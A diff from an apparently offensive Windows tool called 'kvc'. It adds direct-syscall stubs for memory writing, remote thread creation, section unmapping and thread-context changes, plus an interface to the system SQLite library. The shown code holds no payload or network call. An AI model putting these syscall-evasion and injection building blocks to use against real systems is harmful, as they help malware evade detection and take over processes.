NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext);
}
NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext);
}
NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount);
}
NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush);
}
NTSTATUS NtClose_syscall(HANDLE Handle)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtClose, Handle);
}
NTSTATUS NtOpenKey_syscall(PHANDLE KeyHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtOpenKey, KeyHandle, DesiredAccess, ObjectAttributes);
}
NTSTATUS NtQueryValueKey_syscall(HANDLE KeyHandle, PUNICODE_STRING_SYSCALLS ValueName, KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, PVOID KeyValueInformation, ULONG Length, PULONG ResultLength)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtQueryValueKey, KeyHandle, ValueName, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);
}
NTSTATUS NtEnumerateKey_syscall(HANDLE KeyHandle, ULONG Index, KEY_INFORMATION_CLASS KeyInformationClass, PVOID KeyInformation, ULONG Length, PULONG ResultLength)
{
return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtEnumerateKey, KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength);
}

217
kvc/syscalls.h Normal file
View File

@@ -0,0 +1,217 @@
// syscalls.h
#ifndef SYSCALLS_H
#define SYSCALLS_H
#include <Windows.h>
#ifndef NTSTATUS
using NTSTATUS = LONG;
#endif
#ifndef STATUS_BUFFER_TOO_SMALL
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
#endif
#ifndef STATUS_BUFFER_OVERFLOW
#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
#endif
#ifndef OBJ_CASE_INSENSITIVE
#define OBJ_CASE_INSENSITIVE 0x00000040L
#endif
#ifndef REG_SZ
#define REG_SZ 1
#endif
#ifndef REG_EXPAND_SZ
#define REG_EXPAND_SZ 2
#endif
struct SYSCALL_ENTRY
{
PVOID pSyscallGadget;
UINT nArgs;
WORD ssn;
};
struct SYSCALL_STUBS
{
SYSCALL_ENTRY NtAllocateVirtualMemory;
SYSCALL_ENTRY NtWriteVirtualMemory;
SYSCALL_ENTRY NtReadVirtualMemory;
SYSCALL_ENTRY NtCreateThreadEx;
SYSCALL_ENTRY NtFreeVirtualMemory;
SYSCALL_ENTRY NtProtectVirtualMemory;
SYSCALL_ENTRY NtOpenProcess;
SYSCALL_ENTRY NtGetNextProcess;
SYSCALL_ENTRY NtTerminateProcess;
SYSCALL_ENTRY NtQueryInformationProcess;
SYSCALL_ENTRY NtUnmapViewOfSection;
SYSCALL_ENTRY NtGetContextThread;
SYSCALL_ENTRY NtSetContextThread;
SYSCALL_ENTRY NtResumeThread;
SYSCALL_ENTRY NtFlushInstructionCache;
SYSCALL_ENTRY NtClose;
SYSCALL_ENTRY NtOpenKey;
SYSCALL_ENTRY NtQueryValueKey;
SYSCALL_ENTRY NtEnumerateKey;
};
struct UNICODE_STRING_SYSCALLS
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
using PUNICODE_STRING_SYSCALLS = UNICODE_STRING_SYSCALLS *;
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING_SYSCALLS ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
using POBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES *;
enum PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessImageFileName = 27
};
struct PROCESS_BASIC_INFORMATION
{
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
};
using PPROCESS_BASIC_INFORMATION = PROCESS_BASIC_INFORMATION *;
struct PEB_LDR_DATA
{
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
};
using PPEB_LDR_DATA = PEB_LDR_DATA *;
struct RTL_USER_PROCESS_PARAMETERS
{
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING_SYSCALLS ImagePathName;
UNICODE_STRING_SYSCALLS CommandLine;
};
using PRTL_USER_PROCESS_PARAMETERS = RTL_USER_PROCESS_PARAMETERS *;
struct PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE BitField;
BYTE Reserved3[4];
PVOID Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
};
using PPEB = PEB *;
struct CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
};
using PCLIENT_ID = CLIENT_ID *;
enum KEY_VALUE_INFORMATION_CLASS
{
KeyValueBasicInformation = 0,
KeyValueFullInformation,
KeyValuePartialInformation
};
struct KEY_VALUE_PARTIAL_INFORMATION
{
ULONG TitleIndex;
ULONG Type;
ULONG DataLength;
UCHAR Data[1];
};
using PKEY_VALUE_PARTIAL_INFORMATION = KEY_VALUE_PARTIAL_INFORMATION *;
struct KEY_BASIC_INFORMATION
{
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
};
using PKEY_BASIC_INFORMATION = KEY_BASIC_INFORMATION *;
enum KEY_INFORMATION_CLASS
{
KeyBasicInformation = 0
};
inline void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING_SYSCALLS n, ULONG a, HANDLE r, PVOID s)
{
p->Length = sizeof(OBJECT_ATTRIBUTES);
p->RootDirectory = r;
p->Attributes = a;
p->ObjectName = n;
p->SecurityDescriptor = s;
p->SecurityQualityOfService = nullptr;
}
#ifndef KEY_QUERY_VALUE
#define KEY_QUERY_VALUE (0x0001)
#endif
#ifndef KEY_READ
#define KEY_READ (0x20019)
#endif
#ifndef KEY_WOW64_64KEY
#define KEY_WOW64_64KEY (0x0100)
#endif
#ifndef KEY_WOW64_32KEY
#define KEY_WOW64_32KEY (0x0200)
#endif
extern "C"
{
extern SYSCALL_STUBS g_syscall_stubs;
[[nodiscard]] BOOL InitializeSyscalls(bool is_verbose);
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
NTSTATUS NtReadVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
NTSTATUS NtCreateThreadEx_syscall(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID);
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG);
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
NTSTATUS NtOpenProcess_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
NTSTATUS NtGetNextProcess_syscall(HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE);
NTSTATUS NtTerminateProcess_syscall(HANDLE, NTSTATUS);
NTSTATUS NtQueryInformationProcess_syscall(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE, PVOID);
NTSTATUS NtGetContextThread_syscall(HANDLE, PCONTEXT);
NTSTATUS NtSetContextThread_syscall(HANDLE, PCONTEXT);
NTSTATUS NtResumeThread_syscall(HANDLE, PULONG);
NTSTATUS NtFlushInstructionCache_syscall(HANDLE, PVOID, ULONG);
NTSTATUS NtClose_syscall(HANDLE);
NTSTATUS NtOpenKey_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
NTSTATUS NtQueryValueKey_syscall(HANDLE, PUNICODE_STRING_SYSCALLS, KEY_VALUE_INFORMATION_CLASS, PVOID, ULONG, PULONG);
NTSTATUS NtEnumerateKey_syscall(HANDLE, ULONG, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG);
}
#endif

13
kvc/winsqlite3.def Normal file
View File

@@ -0,0 +1,13 @@
LIBRARY winsqlite3.dll
EXPORTS
sqlite3_open_v2
sqlite3_close_v2
sqlite3_prepare_v2
sqlite3_step
sqlite3_finalize
sqlite3_column_blob
sqlite3_column_bytes
sqlite3_column_int
sqlite3_column_int64
sqlite3_column_text
sqlite3_errmsg

159
kvc/winsqlite3.h Normal file
View File

@@ -0,0 +1,159 @@
/* Windows SQLite3 header - Professional interface for winsqlite3.dll */
#ifndef WINSQLITE3_H
#define WINSQLITE3_H
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
/*
* Windows SQLite3 Library Interface
*
* This header provides interface definitions for Microsoft's built-in
* SQLite3 implementation (winsqlite3.dll) available in Windows 10/11.
*
* The API is fully compatible with standard SQLite3 but uses the
* system-provided library for enhanced security and maintenance.
*/
/* SQLite3 Core Types */
typedef struct sqlite3 sqlite3;
typedef struct sqlite3_stmt sqlite3_stmt;
typedef int64_t sqlite3_int64;
/* SQLite3 Result Codes */
#define SQLITE_OK 0 /* Successful result */
#define SQLITE_ROW 100 /* Step has another row ready */
/* SQLite3 Open Flags */
#define SQLITE_OPEN_READONLY 0x00000001 /* Read-only database */
#define SQLITE_OPEN_URI 0x00000040 /* URI filename interpretation */
/* Windows SQLite3 Function Declarations */
/**
* Open a database connection with extended parameters
* @param filename Database file path or URI
* @param ppDb Output parameter for database handle
* @param flags Open flags (SQLITE_OPEN_*)
* @param zVfs VFS module name (usually NULL)
* @return SQLITE_OK on success
*/
__declspec(dllimport) int sqlite3_open_v2(
const char *filename,
sqlite3 **ppDb,
int flags,
const char *zVfs
);
/**
* Close database connection (enhanced version)
* @param db Database handle to close
* @return SQLITE_OK on success
*/
__declspec(dllimport) int sqlite3_close_v2(sqlite3 *db);
/**
* Prepare SQL statement for execution
* @param db Database handle
* @param zSql SQL statement text
* @param nByte Length of SQL text (-1 for null-terminated)
* @param ppStmt Output parameter for prepared statement
* @param pzTail Pointer to unused portion of zSql
* @return SQLITE_OK on success
*/
__declspec(dllimport) int sqlite3_prepare_v2(
sqlite3 *db,
const char *zSql,
int nByte,
sqlite3_stmt **ppStmt,
const char **pzTail
);
/**
* Execute one step of prepared statement
* @param pStmt Prepared statement handle
* @return SQLITE_ROW if row available, SQLITE_OK if done
*/
__declspec(dllimport) int sqlite3_step(sqlite3_stmt *pStmt);
/**
* Finalize and destroy prepared statement
* @param pStmt Prepared statement handle
* @return SQLITE_OK on success
*/
__declspec(dllimport) int sqlite3_finalize(sqlite3_stmt *pStmt);
/* Column Data Access Functions */
/**
* Get column value as text
* @param pStmt Prepared statement handle
* @param iCol Column index (0-based)
* @return Pointer to UTF-8 text data
*/
__declspec(dllimport) const unsigned char *sqlite3_column_text(
sqlite3_stmt *pStmt,
int iCol
);
/**
* Get column value as binary blob
* @param pStmt Prepared statement handle
* @param iCol Column index (0-based)
* @return Pointer to binary data
*/
__declspec(dllimport) const void *sqlite3_column_blob(
sqlite3_stmt *pStmt,
int iCol
);
/**
* Get size of column data in bytes
* @param pStmt Prepared statement handle
* @param iCol Column index (0-based)
* @return Size in bytes
*/
__declspec(dllimport) int sqlite3_column_bytes(
sqlite3_stmt *pStmt,
int iCol
);
/**
* Get column value as 32-bit integer
* @param pStmt Prepared statement handle
* @param iCol Column index (0-based)
* @return Integer value
*/
__declspec(dllimport) int sqlite3_column_int(
sqlite3_stmt *pStmt,
int iCol
);
/**
* Get column value as 64-bit integer
* @param pStmt Prepared statement handle
* @param iCol Column index (0-based)
* @return 64-bit integer value
*/
__declspec(dllimport) sqlite3_int64 sqlite3_column_int64(
sqlite3_stmt *pStmt,
int iCol
);
/* Error Handling */
/**
* Get last error message for database connection
* @param db Database handle
* @return UTF-8 encoded error message
*/
__declspec(dllimport) const char *sqlite3_errmsg(sqlite3 *db);
#ifdef __cplusplus
}
#endif
#endif /* WINSQLITE3_H */

BIN
kvc/winsqlite3.lib Normal file

Binary file not shown.